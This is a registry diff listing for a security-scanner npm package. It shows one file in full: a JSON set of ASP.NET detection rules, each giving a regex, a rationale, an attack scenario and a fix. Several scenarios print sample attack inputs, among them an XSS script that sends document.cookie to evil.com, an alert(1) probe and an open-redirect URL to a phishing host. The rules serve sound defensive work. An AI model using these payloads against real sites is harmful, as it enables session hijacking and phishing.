@activemind/scd 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +35 -0
- package/README.md +417 -0
- package/bin/scd.js +140 -0
- package/lib/audit-report.js +93 -0
- package/lib/audit-sync.js +172 -0
- package/lib/audit.js +356 -0
- package/lib/cli-helpers.js +108 -0
- package/lib/commands/accept.js +28 -0
- package/lib/commands/audit.js +17 -0
- package/lib/commands/configure.js +200 -0
- package/lib/commands/doctor.js +14 -0
- package/lib/commands/exceptions.js +19 -0
- package/lib/commands/export-findings.js +46 -0
- package/lib/commands/findings.js +306 -0
- package/lib/commands/ignore.js +28 -0
- package/lib/commands/init.js +16 -0
- package/lib/commands/insights.js +24 -0
- package/lib/commands/install.js +15 -0
- package/lib/commands/list.js +109 -0
- package/lib/commands/remove.js +16 -0
- package/lib/commands/repo.js +862 -0
- package/lib/commands/report.js +234 -0
- package/lib/commands/resolve.js +25 -0
- package/lib/commands/rules.js +185 -0
- package/lib/commands/scan.js +519 -0
- package/lib/commands/scope.js +341 -0
- package/lib/commands/sync.js +40 -0
- package/lib/commands/uninstall.js +15 -0
- package/lib/commands/version.js +33 -0
- package/lib/comment-map.js +388 -0
- package/lib/config.js +325 -0
- package/lib/context-modifiers.js +211 -0
- package/lib/deep-analyzer.js +225 -0
- package/lib/doctor.js +236 -0
- package/lib/exception-manager.js +675 -0
- package/lib/export-findings.js +376 -0
- package/lib/file-context.js +380 -0
- package/lib/file-filter.js +204 -0
- package/lib/file-manifest.js +145 -0
- package/lib/git-utils.js +102 -0
- package/lib/global-config.js +239 -0
- package/lib/hooks-manager.js +130 -0
- package/lib/init-repo.js +147 -0
- package/lib/insights-analyzer.js +416 -0
- package/lib/insights-output.js +160 -0
- package/lib/installer.js +128 -0
- package/lib/output-constants.js +32 -0
- package/lib/output-terminal.js +407 -0
- package/lib/push-queue.js +322 -0
- package/lib/remove-repo.js +108 -0
- package/lib/repo-context.js +187 -0
- package/lib/report-html.js +1154 -0
- package/lib/report-index.js +157 -0
- package/lib/report-json.js +136 -0
- package/lib/report-markdown.js +250 -0
- package/lib/resolve-manager.js +148 -0
- package/lib/rule-registry.js +205 -0
- package/lib/scan-cache.js +171 -0
- package/lib/scan-context.js +312 -0
- package/lib/scan-schema.js +67 -0
- package/lib/scanner-full.js +681 -0
- package/lib/scanner-manual.js +348 -0
- package/lib/scanner-secrets.js +83 -0
- package/lib/scope.js +331 -0
- package/lib/store-verify.js +395 -0
- package/lib/store.js +310 -0
- package/lib/taint-register.js +196 -0
- package/lib/version-check.js +46 -0
- package/package.json +37 -0
- package/rules/rule-loader.js +324 -0
- package/rules/rules-aspx-cs.json +399 -0
- package/rules/rules-aspx.json +222 -0
- package/rules/rules-infra-leakage.json +434 -0
- package/rules/rules-js.json +664 -0
- package/rules/rules-php.json +521 -0
- package/rules/rules-python.json +466 -0
- package/rules/rules-secrets.json +99 -0
- package/rules/rules-sensitive-files.json +475 -0
- package/rules/rules-ts.json +76 -0
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
{
|
|
2
|
+
"schema_version": 1,
|
|
3
|
+
"rules": [
|
|
4
|
+
{
|
|
5
|
+
"id": "ASPX-DIAG-001",
|
|
6
|
+
"name": "Diagnostics page accessible in web root",
|
|
7
|
+
"severity": "HIGH",
|
|
8
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
9
|
+
"pattern": "<%@\\s*Page[^%]*%>[\\s\\S]{0,2000}(?:Connection\\s*string\\s*(?:value|position)|ODBC|lblDBPath|lblDataPath|lblSystem|lblUnmanaged)",
|
|
10
|
+
"flags": "gi",
|
|
11
|
+
"file_types": ["aspx"],
|
|
12
|
+
"why": "A diagnostics page exposes server internals: connection string values, file system paths, database driver info, directory permissions, and personnel counts. Even with a soft \"must be activated\" guard, the page exists in the web root and may be bypassed.",
|
|
13
|
+
"scenario": "An attacker discovers the diagnostics URL (common names: Diagnostics.aspx, Admin.aspx, ServerInfo.aspx). The activation check is often a simple querystring flag or session value that can be brute-forced or bypassed. Once in, the attacker gets a complete map of the server.",
|
|
14
|
+
"fix": "Remove diagnostics pages entirely from production deployments. If needed for support, place them behind proper authentication, restrict by IP, and never expose connection strings in the UI. Use a deployment pipeline that strips diagnostic files."
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"id": "ASPX-DIAG-002",
|
|
18
|
+
"name": "Log file linked directly from page markup",
|
|
19
|
+
"severity": "CRITICAL",
|
|
20
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
21
|
+
"pattern": "(?:NavigateUrl|href)\\s*=\\s*[\"'~\\/]*[^\"']{0,60}(?:_Error|_Debug|error|debug|log|trace)\\s*\\.(?:txt|log)[\"'\\s]",
|
|
22
|
+
"flags": "gi",
|
|
23
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
24
|
+
"why": "A direct link to a log file in the web root means anyone who finds or guesses the URL can download the full log. Log files in this codebase contain: usernames, session cookies, SQL queries with data, connection strings with passwords, stack traces with server paths, and PII.",
|
|
25
|
+
"scenario": "Attacker views page source or crawls the site. Finds href to bsoApp_Error.txt. Downloads it directly with no authentication. Extracts database credentials from logged connection strings and uses them for direct database access.",
|
|
26
|
+
"fix": "Never store log files in the web root. Write logs to a path outside the IIS application root (e.g. C:\\\\Logs\\\\App\\\\) or use a logging framework (NLog, Serilog) that writes to protected destinations. Remove all links to log files from markup immediately."
|
|
27
|
+
},
|
|
28
|
+
{
|
|
29
|
+
"id": "ASPX-DIAG-003",
|
|
30
|
+
"name": "Debug label rendered in production page",
|
|
31
|
+
"severity": "MEDIUM",
|
|
32
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
33
|
+
"pattern": "(?:asp:Label|asp:Literal)[^>]*ID\\s*=\\s*[\"'](?:lbl)?(?:Debug|debug|Version|Diag|diag|BuildInfo)[^\"']*[\"']",
|
|
34
|
+
"flags": "gi",
|
|
35
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
36
|
+
"why": "Server-side labels with debug or version IDs typically render internal build numbers, server names, or diagnostic state into the HTML response visible to anyone who views page source.",
|
|
37
|
+
"scenario": "Attacker views page source and finds lblDebug rendering \"Server: PROD-SQL01, Build: 2.00, Mode: debug\". This confirms server names, software versions, and debug mode — all useful for targeted attacks.",
|
|
38
|
+
"fix": "Remove debug labels from production builds. Use web.config transforms to disable debug output, or wrap debug rendering in #if DEBUG compiler directives."
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"id": "ASPX-XSS-001",
|
|
42
|
+
"name": "Unencoded Response.Write in markup",
|
|
43
|
+
"severity": "HIGH",
|
|
44
|
+
"category": "Injection (OWASP A03)",
|
|
45
|
+
"pattern": "<%\\s*Response\\.Write\\s*\\([^%]{1,200}%>",
|
|
46
|
+
"flags": "gi",
|
|
47
|
+
"antipattern": "Server\\.HtmlEncode|HttpUtility\\.HtmlEncode|WebUtility\\.HtmlEncode|AntiXss\\.",
|
|
48
|
+
"antipattern_flags": "i",
|
|
49
|
+
"lookahead": 300,
|
|
50
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
51
|
+
"why": "Response.Write outputs content directly to the HTTP response without HTML encoding. If the value originates from user input, a database field, or any external source, it enables Cross-Site Scripting (XSS).",
|
|
52
|
+
"scenario": "A contact field in the database contains <script>document.location=\"https://evil.com?c=\"+document.cookie</script>. Response.Write renders it verbatim. Every user who visits the page has their session cookie stolen.",
|
|
53
|
+
"fix": "Use <%: expression %> (ASP.NET 4.0+) which HTML-encodes automatically, or wrap the value: Response.Write(Server.HtmlEncode(value)). For rich content, use a whitelist HTML sanitizer."
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"id": "ASPX-XSS-002",
|
|
57
|
+
"name": "Unencoded inline expression <%= ... %>",
|
|
58
|
+
"severity": "HIGH",
|
|
59
|
+
"category": "Injection (OWASP A03)",
|
|
60
|
+
"pattern": "<%=\\s*(?!(?:ResolveUrl|ClientScript|ScriptManager|GetRouteUrl|Url\\.Content))[A-Za-z_$][^%]{1,150}%>",
|
|
61
|
+
"flags": "g",
|
|
62
|
+
"antipattern": "Server\\.HtmlEncode|HttpUtility\\.HtmlEncode|AntiXss\\.",
|
|
63
|
+
"antipattern_flags": "i",
|
|
64
|
+
"lookahead": 10,
|
|
65
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
66
|
+
"why": "<%= expr %> outputs the expression value raw, without HTML encoding. <%: expr %> is the safe equivalent introduced in ASP.NET 4.0.",
|
|
67
|
+
"scenario": "A query string parameter is reflected with <%= Request.QueryString[\"name\"] %>. Attacker crafts a URL with name=<script>alert(1)</script> and sends it to victims.",
|
|
68
|
+
"fix": "Replace <%= expr %> with <%: expr %> for all user-facing output. The colon syntax automatically HTML-encodes the value."
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
"id": "ASPX-XSS-003",
|
|
72
|
+
"name": "Request.QueryString or Request.Form used directly in markup",
|
|
73
|
+
"severity": "HIGH",
|
|
74
|
+
"category": "Injection (OWASP A03)",
|
|
75
|
+
"pattern": "<%[=:]?\\s*Request\\s*\\.\\s*(?:QueryString|Form|Params|Item)\\s*\\[",
|
|
76
|
+
"flags": "gi",
|
|
77
|
+
"antipattern": "Server\\.HtmlEncode|HttpUtility\\.HtmlEncode|AntiXss\\.",
|
|
78
|
+
"antipattern_flags": "i",
|
|
79
|
+
"lookahead": 200,
|
|
80
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
81
|
+
"why": "Direct use of Request.QueryString or Request.Form in markup without encoding reflects user-controlled input into the page. Even with validateRequest=\"true\", bypasses exist via encoding tricks.",
|
|
82
|
+
"scenario": "Request.QueryString[\"search\"] is displayed in a \"You searched for: ...\" banner. Attacker crafts a link with XSS payload, sends it to an admin, and hijacks their session.",
|
|
83
|
+
"fix": "Always encode before output: <%: Request.QueryString[\"key\"] %> or Server.HtmlEncode(Request.QueryString[\"key\"]). Never use <%= Request... %> for displayed values."
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
"id": "ASPX-CONFIG-001",
|
|
87
|
+
"name": "EnableEventValidation=\"False\" disables tamper protection",
|
|
88
|
+
"severity": "HIGH",
|
|
89
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
90
|
+
"pattern": "EnableEventValidation\\s*=\\s*[\"']False[\"']",
|
|
91
|
+
"flags": "gi",
|
|
92
|
+
"file_types": ["aspx"],
|
|
93
|
+
"why": "Event validation verifies that postback values (button clicks, dropdown selections) originated from the server-rendered page. Disabling it allows attackers to inject arbitrary values into postback data, potentially bypassing server-side controls.",
|
|
94
|
+
"scenario": "A dropdown only shows options the user is authorized to see. With event validation disabled, an attacker posts a value that was never rendered — accessing data or actions outside their permission level.",
|
|
95
|
+
"fix": "Remove EnableEventValidation=\"False\" from the @Page directive. If the page relies on JavaScript to add dynamic postback values, use ClientScriptManager.RegisterForEventValidation() to whitelist them properly instead of disabling the protection."
|
|
96
|
+
},
|
|
97
|
+
{
|
|
98
|
+
"id": "ASPX-CONFIG-002",
|
|
99
|
+
"name": "validateRequest=\"false\" disables XSS request filtering",
|
|
100
|
+
"severity": "HIGH",
|
|
101
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
102
|
+
"pattern": "validateRequest\\s*=\\s*[\"']false[\"']",
|
|
103
|
+
"flags": "gi",
|
|
104
|
+
"file_types": ["aspx"],
|
|
105
|
+
"why": "ASP.NET request validation blocks requests containing potentially dangerous HTML/script content in form fields and query strings. Disabling it removes a valuable defense-in-depth layer against XSS attacks.",
|
|
106
|
+
"scenario": "An attacker submits <script>...</script> in a form field. Normally ASP.NET would reject this with HttpRequestValidationException. With validateRequest=false, the payload reaches the application code.",
|
|
107
|
+
"fix": "Remove validateRequest=\"false\". If you need to accept rich HTML input (e.g. a WYSIWYG editor field), use Request.Unvalidated[\"field\"] for that specific field only, and sanitize the input with a whitelist HTML sanitizer like HtmlSanitizer."
|
|
108
|
+
},
|
|
109
|
+
{
|
|
110
|
+
"id": "ASPX-CONFIG-003",
|
|
111
|
+
"name": "Debug=\"true\" in @Page directive — debug mode in production",
|
|
112
|
+
"severity": "HIGH",
|
|
113
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
114
|
+
"pattern": "<%@\\s*Page[^%]*\\bDebug\\s*=\\s*[\"']true[\"']",
|
|
115
|
+
"flags": "gi",
|
|
116
|
+
"file_types": ["aspx"],
|
|
117
|
+
"why": "Pages compiled in debug mode include detailed error information, stack traces, and source code snippets in error responses. Debug mode also disables request timeouts and increases memory usage.",
|
|
118
|
+
"scenario": "An unhandled exception on a debug-mode page returns the full stack trace, source code around the error, and local variable values to the browser — exposing business logic, file paths, and potentially credentials.",
|
|
119
|
+
"fix": "Remove Debug=\"true\" from @Page directives. Control debug mode globally via Web.config: <compilation debug=\"false\" />. Use Web.config transforms to ensure production configs always have debug=false."
|
|
120
|
+
},
|
|
121
|
+
{
|
|
122
|
+
"id": "ASPX-WEB-001",
|
|
123
|
+
"name": "customErrors mode=\"Off\" — stack traces exposed to all users",
|
|
124
|
+
"severity": "CRITICAL",
|
|
125
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
126
|
+
"pattern": "customErrors\\s+mode\\s*=\\s*[\"']Off[\"']",
|
|
127
|
+
"flags": "gi",
|
|
128
|
+
"file_types": ["config"],
|
|
129
|
+
"why": "With customErrors Off, ASP.NET returns the full exception stack trace, source code, and server paths to any visitor when an error occurs. This is the most common source of information disclosure in ASP.NET applications.",
|
|
130
|
+
"scenario": "An error on any page returns: exception type, message, full stack trace with file paths (C:\\\\inetpub\\\\wwwroot\\\\App\\\\...), source code snippet around the error, and sometimes query parameters or connection string fragments.",
|
|
131
|
+
"fix": "Set customErrors mode=\"RemoteOnly\" (shows details only to localhost) or mode=\"On\" with a custom error page: <customErrors mode=\"RemoteOnly\" defaultRedirect=\"~/Error.aspx\"><error statusCode=\"500\" redirect=\"~/Error.aspx\" /></customErrors>"
|
|
132
|
+
},
|
|
133
|
+
{
|
|
134
|
+
"id": "ASPX-WEB-002",
|
|
135
|
+
"name": "Trace enabled and accessible remotely",
|
|
136
|
+
"severity": "HIGH",
|
|
137
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
138
|
+
"pattern": "<trace\\s[^>]*(?:enabled\\s*=\\s*[\"']true[\"'][^>]*localOnly\\s*=\\s*[\"']false[\"']|localOnly\\s*=\\s*[\"']false[\"'][^>]*enabled\\s*=\\s*[\"']true[\"'])",
|
|
139
|
+
"flags": "gi",
|
|
140
|
+
"file_types": ["config"],
|
|
141
|
+
"why": "ASP.NET trace captures detailed request information: HTTP headers, form values, session state, cookies, server variables, and execution timing. When localOnly=\"false\", this information is accessible to remote users at /trace.axd.",
|
|
142
|
+
"scenario": "Attacker visits yourapp.com/trace.axd and sees the last 40 requests including: session tokens, form POST data (including passwords), all HTTP headers, and ViewState values — a complete audit trail of recent user activity.",
|
|
143
|
+
"fix": "Disable trace in production: <trace enabled=\"false\" />. If you need trace for debugging, always set localOnly=\"true\" and disable it after use."
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
"id": "ASPX-WEB-003",
|
|
147
|
+
"name": "Compilation debug=\"true\" in Web.config",
|
|
148
|
+
"severity": "HIGH",
|
|
149
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
150
|
+
"pattern": "<compilation[^>]*\\bdebug\\s*=\\s*[\"']true[\"']",
|
|
151
|
+
"flags": "gi",
|
|
152
|
+
"file_types": ["config"],
|
|
153
|
+
"why": "Debug compilation produces larger assemblies, disables script caching, and enables detailed error output. In production it degrades performance and increases the attack surface through verbose error responses.",
|
|
154
|
+
"scenario": "Combined with customErrors Off, debug=true means every unhandled exception shows full source code, variable values, and server paths. The error log in this case confirmed connection strings appearing in error output.",
|
|
155
|
+
"fix": "Set debug=\"false\" in Web.config for all production environments. Use Web.config transforms (Web.Release.config): <compilation xdt:Transform=\"RemoveAttributes(debug)\" />"
|
|
156
|
+
},
|
|
157
|
+
{
|
|
158
|
+
"id": "ASPX-WEB-004",
|
|
159
|
+
"name": "Connection string stored in Web.config in plain text",
|
|
160
|
+
"severity": "HIGH",
|
|
161
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
162
|
+
"pattern": "<add\\s[^>]*(?:connectionString|ConnectionString)\\s*=\\s*[\"'][^\"']{0,200}(?:Password|PWD|pwd)\\s*=[^\"']{1,50}[\"']",
|
|
163
|
+
"flags": "gi",
|
|
164
|
+
"antipattern": "configProtectedData|EncryptedData|encrypt",
|
|
165
|
+
"antipattern_flags": "i",
|
|
166
|
+
"lookahead": 300,
|
|
167
|
+
"file_types": ["config"],
|
|
168
|
+
"why": "Plain text connection strings in Web.config expose database credentials to anyone who can read the file — through misconfigured file permissions, directory traversal, source control leaks, or backup files.",
|
|
169
|
+
"scenario": "A developer accidentally commits Web.config to a public repository. The connection string contains SERVER=PROD-SQL01;UID=appuser;PWD=Passw0rd123. Attacker connects directly to the production database.",
|
|
170
|
+
"fix": "Use DPAPI encryption for connectionStrings in Web.config: aspnet_regiis -pe \"connectionStrings\" -app \"/AppName\". Alternatively, use Windows Authentication (Integrated Security=True) to eliminate passwords from config files entirely."
|
|
171
|
+
},
|
|
172
|
+
{
|
|
173
|
+
"id": "ASPX-WEB-005",
|
|
174
|
+
"name": "ViewState MAC validation may be disabled",
|
|
175
|
+
"severity": "HIGH",
|
|
176
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
177
|
+
"pattern": "enableViewStateMac\\s*=\\s*[\"']false[\"']|ViewStateEncryptionMode\\s*=\\s*[\"']Never[\"']",
|
|
178
|
+
"flags": "gi",
|
|
179
|
+
"file_types": ["config", "aspx"],
|
|
180
|
+
"why": "ViewState MAC (Message Authentication Code) prevents attackers from tampering with ViewState values. Disabling it allows an attacker to craft arbitrary ViewState payloads, potentially leading to object injection or business logic bypass.",
|
|
181
|
+
"scenario": "A hidden ViewState field stores the user's role. Without MAC validation, an attacker modifies the ViewState to set role=\"Admin\" and gains elevated privileges on the next postback.",
|
|
182
|
+
"fix": "Never set enableViewStateMac=\"false\". Ensure a strong machineKey is configured in Web.config. For sensitive data, use ViewStateEncryptionMode=\"Always\" at the page level."
|
|
183
|
+
},
|
|
184
|
+
{
|
|
185
|
+
"id": "ASPX-REDIRECT-001",
|
|
186
|
+
"name": "Open redirect via backurl / returnUrl parameter",
|
|
187
|
+
"severity": "MEDIUM",
|
|
188
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
189
|
+
"pattern": "[?&\"'](backurl|returnUrl|returnto|redirect|next|goto)\\s*[\"']?\\s*[+=]\\s*(?:window\\.location|Request\\.|location\\.href)",
|
|
190
|
+
"flags": "gi",
|
|
191
|
+
"file_types": ["aspx", "ascx", "master"],
|
|
192
|
+
"why": "Building redirect URLs from user-controlled values without validation allows attackers to redirect users to malicious sites after a legitimate action (login, form submit).",
|
|
193
|
+
"scenario": "A link on a page includes backurl=https://evil.com/phish. User clicks it, performs a legitimate action, and is redirected to a phishing site that mimics the application. Used for credential harvesting.",
|
|
194
|
+
"fix": "Validate redirect URLs against a whitelist of allowed domains/paths before redirecting. Use a helper: if (!Uri.IsWellFormedUriString(returnUrl, UriKind.Relative)) returnUrl = \"~/Default.aspx\";"
|
|
195
|
+
},
|
|
196
|
+
{
|
|
197
|
+
"id": "ASPX-LIB-001",
|
|
198
|
+
"name": "jQuery 1.x or 2.x — end of life, known XSS vulnerabilities",
|
|
199
|
+
"severity": "MEDIUM",
|
|
200
|
+
"category": "Vulnerable and Outdated Components (OWASP A06)",
|
|
201
|
+
"pattern": "jquery[-_](?:1\\.\\d+\\.\\d+|2\\.\\d+\\.\\d+)(?:\\.min)?\\.js",
|
|
202
|
+
"flags": "gi",
|
|
203
|
+
"file_types": ["aspx", "ascx", "master", "html"],
|
|
204
|
+
"why": "jQuery 1.x reached end of life in 2016, jQuery 2.x in 2016. Both have known XSS vulnerabilities in $.html(), $.append(), and JSONP handling (CVE-2015-9251, CVE-2019-11358, CVE-2020-11022/11023).",
|
|
205
|
+
"scenario": "Application uses $.html(userContent) to render dynamic content. Attacker injects a payload that exploits CVE-2020-11023 to execute JavaScript even when the content appears to be sanitized.",
|
|
206
|
+
"fix": "Upgrade to jQuery 3.7.x (current LTS). Test for breaking changes using the jQuery Migrate plugin. Review all uses of $.html(), $.append(), $.prepend() and ensure content is sanitized before passing to these methods."
|
|
207
|
+
},
|
|
208
|
+
{
|
|
209
|
+
"id": "ASPX-FILE-001",
|
|
210
|
+
"name": "Sensitive file in web root — log or debug file publicly accessible",
|
|
211
|
+
"severity": "CRITICAL",
|
|
212
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
213
|
+
"match_mode": "filename",
|
|
214
|
+
"pattern": "^[\\w\\-. ]*(?:error|debug|log|trace|diag)[\\w\\-. ]*\\.(?:txt|log)$",
|
|
215
|
+
"flags": "i",
|
|
216
|
+
"file_types": ["txt", "log"],
|
|
217
|
+
"why": "Log and debug files placed in the web root are directly downloadable by anyone who knows or guesses the filename. These files commonly contain: usernames, passwords, connection strings, SQL queries, stack traces with source paths, session tokens, and PII.",
|
|
218
|
+
"scenario": "In this codebase, bsoApp_Error.txt contained: a complete connection string with USERNAME and PASSWORD in plain text, SQL queries with user data, full stack traces with C:\\\\inetpub\\\\wwwroot paths, and names of real users. All freely downloadable.",
|
|
219
|
+
"fix": "Move all log files outside the web root immediately. Configure your logging framework to write to a protected path (e.g. D:\\\\Logs\\\\App\\\\). Add the log file pattern to Web.config to block HTTP access as defense-in-depth: <add verb=\"*\" path=\"*.log\" type=\"System.Web.HttpNotFoundHandler\" />"
|
|
220
|
+
}
|
|
221
|
+
]
|
|
222
|
+
}
|